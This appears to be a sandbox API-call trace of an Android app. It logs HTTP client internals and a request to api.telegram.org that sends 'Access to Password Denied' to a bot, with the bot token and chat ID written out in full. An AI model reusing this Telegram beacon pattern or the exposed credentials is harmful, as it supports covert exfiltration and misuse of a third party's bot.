        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isOpen at cz.msebera.android.httpclient.impl.client.DefaultUserTokenHandler.getUserToken:24 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager->getClass at cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager.<init>:10 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager
        • getName: cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isOpen at cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager.releaseConnection:31 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isMarkedReusable at cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager.releaseConnection:35 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isMarkedReusable at cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager.releaseConnection:41 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.extras.HttpClientAndroidLog->isDebugEnabled at cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager$1.getConnection:17 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection->isSecure at cz.msebera.android.httpclient.impl.conn.AbstractPoolEntry.open:57 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isReleased at cz.msebera.android.httpclient.impl.conn.AbstractPooledConnAdapter.assertValid:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isReleased at cz.msebera.android.httpclient.impl.conn.AbstractPooledConnAdapter.assertValid:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter->isReleased at cz.msebera.android.httpclient.impl.conn.AbstractPooledConnAdapter.assertValid:1 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator->getClass at cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
        • getName: cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
        API: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection->isOpen at cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.openConnection:24 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.HttpHost->getSchemeName at cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.openConnection:36 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: https
        API: cz.msebera.android.httpclient.HttpHost->getHostName at cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.openConnection:45 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        API: cz.msebera.android.httpclient.extras.HttpClientAndroidLog->isDebugEnabled at cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.openConnection:83 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser->getClass at cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser.<init>:6 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser
        • getName: cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser
        API: cz.msebera.android.httpclient.HttpHost->toURI at cz.msebera.android.httpclient.impl.conn.DefaultHttpRoutePlanner.determineRoute:36 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@244473c
        API: cz.msebera.android.httpclient.HttpHost->getSchemeName at cz.msebera.android.httpclient.impl.conn.DefaultHttpRoutePlanner.determineRoute:36 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: https
        API: cz.msebera.android.httpclient.conn.scheme.Scheme->isLayered at cz.msebera.android.httpclient.impl.conn.DefaultHttpRoutePlanner.determineRoute:42 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler->getClass at cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler
        • getName: cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler
        API: cz.msebera.android.httpclient.util.ByteArrayBuffer->isFull at cz.msebera.android.httpclient.impl.io.AbstractSessionOutputBuffer.writeLine:36 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.util.ByteArrayBuffer->isFull at cz.msebera.android.httpclient.impl.io.AbstractSessionOutputBuffer.writeLine:36 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.util.ByteArrayBuffer->isFull at cz.msebera.android.httpclient.impl.io.AbstractSessionOutputBuffer.writeLine:36 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.util.ByteArrayBuffer->isFull at cz.msebera.android.httpclient.impl.io.AbstractSessionOutputBuffer.writeLine:36 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.util.ByteArrayBuffer->isFull at cz.msebera.android.httpclient.impl.io.AbstractSessionOutputBuffer.writeLine:36 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: com.android.org.conscrypt.OpenSSLSocketImpl->getInputStream at cz.msebera.android.httpclient.impl.io.SocketInputBuffer.<init>:22 Show source
        NameTypeValue
        Return Valuecom.android.org.conscrypt.OpenSSLSocketImpl$SSLInputStream
        • toString: com.android.org.conscrypt.OpenSSLSocketImpl$SSLInputStream@6c5bcda
        API: cz.msebera.android.httpclient.message.BasicListHeaderIterator->hasNext at cz.msebera.android.httpclient.message.BasicHeaderElementIterator.parseNextElement:3 Show source
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicStatusLine->getReasonPhrase at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: OK
        API: cz.msebera.android.httpclient.message.BasicStatusLine->getReasonPhrase at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: OK
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@a81a21d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@3f2e60c
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: OK
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c77a96a
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@68d9e5b
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9cbcb55
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9cbcb55
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getUri at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@a81a21d
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@d3533dd
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@f629b52
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9c5fbb4
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9c5fbb4
        API: cz.msebera.android.httpclient.message.BasicRequestLine->getUri at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:25 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@79c2211
        • $1: GET
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a01df76
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c9fb238
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:25 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c1438e0
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:30 Show source
        NameTypeValue
        p0java.lang.String
        • toString: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.appendProtocolVersion:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@a81a21d
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@2d08db7
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:22 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:25 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@2d08db7
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:22 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:25 Show source
        NameTypeValue
        p0java.lang.String
        • toString: api.telegram.org
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9df7243
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:22 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:25 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@9df7243
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fad35f
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@fad35f
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@8a0ac98
        • $1: Accept-Encoding: gzip
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@68ffcf1
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c23467b
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c23467b
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fad35f
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Accept-Encoding
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:22 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:25 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@fad35f
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Server
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Date
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Type
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Length
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Origin
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Methods
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Expose-Headers
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Strict-Transport-Security
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Server
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Date
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Type
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Length
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Origin
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Methods
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Expose-Headers
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Strict-Transport-Security
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Server
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Date
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Type
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Length
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: true
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Origin
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
